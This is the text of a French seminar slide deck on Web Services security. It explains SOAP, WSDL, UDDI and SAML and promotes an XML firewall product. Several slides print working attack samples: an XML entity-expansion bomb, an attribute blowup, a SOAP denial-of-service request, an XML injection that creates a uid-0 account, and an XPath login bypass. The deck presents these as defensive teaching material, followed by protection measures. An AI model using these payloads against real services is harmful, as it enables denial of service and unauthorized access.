Séminaire e-Xpert Solutions : Que sont les Web Services et comment les sécuriser ?
Que sont les Web Services ?
Comment sécuriser les Web Services ?
Rappels sur Bee-Ware V5
i-Suite XML Firewall module
Démonstration de manipulation des flux XML
Démonstration d’attaque sur un Web Service
12. COMPOSANTS
•Extensible Markup Language
XML •A uniform data representation and exchange
mechanism.
•Universal Description, Discovery, and Integration
UDDI •A mechanism to register and locate WS based
application.
•Web Services Description Language
WSDL •A standard meta language to described the services
offered.
SOAP •Simple Object Access Protocol
•A standard way for communication.
SAML
•XML-based open standard for exchanging
authentication and authorization data between
security domains
35. LES TYPES D’ATTAQUE
XML-Based • Utilise les faiblesses du langage XML (ex: entity expansion)
Bugs in back- • Beaucoup de technologies utilisées impliquent un risque de
bug élevé.
end systems
Code • Les attaques XML injection sont simples à entreprendre. Ce
sont les attaques les plus répandues.
Injection
Denial of • Flux important de messages, envoi de centaines d’éléments
encryptés peuvent mettre à mal un système complet et
Service affecter les SLAs.
Man in the • Les messages peuvent être interceptés. Ceci pose des soucis
de routage des messages et également d’intégrité.
Middle
36. ATTAQUE XML : ENTITY EXPANSION
<!DOCTYPE foo [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;" >
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;" >
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;" >
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;" >
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;" >
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;" >
<!ENTITY j "&i;&i;&i;&i;&i;&i;&i;&i;" >
<!ENTITY k "&j;&j;&j;&j;&j;&j;&j;&j;" >
<!ENTITY l "&k;&k;&k;&k;&k;&k;&k;&k;" >
<!ENTITY m "&l;&l;&l;&l;&l;&l;&l;&l;" >
]>
<foo>&m;</foo>
37. ATTAQUE XML : XML ATTRIBUTE BLOWUP
<?xml version="1.0"?>
<foo
a1=""
a2=""
...
a10000=""
/>
38. DENI DE SERVICE
Directement sur le Service
SOAP
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:Login>
<tem:loginID>
John Doe<a1>….</a1>
</tem:loginID>
<tem:password>
muahahah
</tem:password>
</tem:Login>
</soapenv:Body>
</soapenv:Envelope>
Via le Portail
HTML Frontal Web WS de gestion des comptes
Login: John Doe <a1>…</a1>
Password: ********
39. ATTAQUE XML : XML INJETION
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<uname>joepublic</uname>
<pwd>r3g</pwd>
<uid>10<uid/>
<mail>joepublic@example1.com</mail>
</user>
<user>
<uname>janedoe</uname>
<pwd>an0n</pwd>
<uid>500<uid/> <mail>janedoe@example2.com</mail>
</user>
</users>
Username: alice
Password: iluvbob
E-mail: alice@example3.com</mail></user><user><uname>Hacker</uname>
<pwd>l33tist</pwd><uid>0</uid><mail>hacker@exmaple_evil.net</mail>
41. INJETION Xpath
• Authentification basée sur l’expression:
//user[name='$login' and pass='$pass']/account/text()
• Injection
$login = whatever' or '1'='1' or 'a'='b
$pass = whatever
• Exploitation de la précédence de l’opérateur AND
• L’expression devient
//user[name='whatever' or '1'='1' or 'a'='b' and pass=‘whatever']/account/text()
= TRUE
TRUE OR FALSE
44. COMMENT SE PROTÉGER ?
Message integrity (signature)
• Ensure message integrity. Support for XML Signature.
Message confidentiality (encryption)
• Ensure end-to-end data privacy. Support for both SSL and XML. Encryption are essential.
Authentication (SAML)
• Verifying the identity of the requestor.
Access Control (SAML)
• Ensuring that the requestor has appropriate access to the resource.
Schema Validation (WSDL)
• Ensuring intergrity of the structure and content of the message.
Security Standards (WS-Security)
• Supporting standards based security functions such as WS-Security.
Malicious attack protection (Black List)
• Supporting protection against the lastest Web Services and XML-Based attacks.
45. WS-SECURITY
WS-Trust WS-Federation LibertyAlliance
Trust
relationships XKMS SAML
WS-Policy
SOAP WS-Security WS-Reliability Access
XACML SAML
XML Encryption Implémentations les plus
XML courantes
XML Signature
HTTP HTTP Auth
Sécurité habituelle des
applications Web
TCP SSL / TLS
IP IPSec
48. FIREWALL APPLICATIF VS FIREWALL XML
PARE-FEU APPLICATIF
Détection PARE-FEU XML
d’attaques Détection
propres aux d’attaques Détection
applications communes : d’attaques
propres aux
SQL injection, services web
XSS, etc. (WSDL, …)
L’architecture des Web Services est basée sur l’intéraction de trois rôles:Service providerService registryService requestorCes rôles produisent les actions suivantes :Publish operationsFind operationBind operations.
UDDI: Si l’@ du service change pas de souci si on s’appuie sur un annuaire (analogie avec le resto)